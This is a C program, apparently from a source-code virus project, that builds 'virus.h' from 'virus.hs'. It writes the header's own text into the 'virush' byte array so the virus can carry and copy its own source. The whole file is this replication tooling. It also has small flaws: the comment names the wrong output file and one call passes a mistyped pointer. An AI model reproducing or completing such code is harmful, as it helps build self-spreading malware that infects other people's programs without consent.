// This program adds the virush constant to the virus.h source file, and
// names the file with the constant as virus.hhh

#include <stdio.h>
#include <fcntl.h>

int ccount;
FILE *f1,*f2,*ft;

void put_constant(FILE *f, char c)
{
 char n[5],u[26];
 int j;

 itoa((int)c,n,10);
 j=0;
 while (n[j]) fwrite(&n[j++],1,1,f);

 ccount++;
 if (ccount>20)
    {
     strcpy(&u[0],",\n                       ");
     fwrite(&u[0],strlen(u),1,f);
     ccount=0;
    }
 else
    {
     u[0]=',';
     fwrite(&u[0],1,1,f);
    }
}

/******************************************************************************/
void main()
{
 char l[255],p[255];
 int i,j;

 ccount=0;
 f1=fopen("virus.hs","r");
 ft=fopen("virus.h","w");
 do
    {
     j=0; l[j]=0;
     while ((!feof(f1)) && ((j==0)||(l[j-1]!=0x0A)))
        {fread(&l[j],1,1,f1); j++;}
     l[j]=0;
     if (strcmp(l,"static char virush[]={0};\n")==0)
         {
           fwrite(&l[0],22,1,ft);
           f2=fopen("virus.hs","r");
           do
             {
               j=0; p[j]=0;
               while ((!feof(f2)) && ((j==0)||(p[j-1]!=0x0A)))
                 {fread(&p[j],1,1,f2); j++;}
               p[j]=0;
               if (strcmp(p,"static char virush[]={0};\n")==0)
                {
                  for (i=0;i<22;i++) put_constant(ft,p[i]);
                  p[0]='0'; p[1]=',';
                  fwrite(&p[0],2,1,ft);
                  ccount++;
                  for (i=25;p[i]!=0;i++) put_constant(ft,p[i]);
                }
              else
                {
                  for (i=0;i<j;i++) put_constant(ft,p[i]);
                }
            }
          while (!feof(f2));
          strcpy(&p,"0};\n");
          fwrite(&p[0],strlen(p),1,ft);
        }
     else for (i=0;i<j;i++) fwrite(&l[i],1,1,ft);
   }
 while (!feof(f1));
 fclose(f1);
 fclose(f2);
 fclose(ft);
}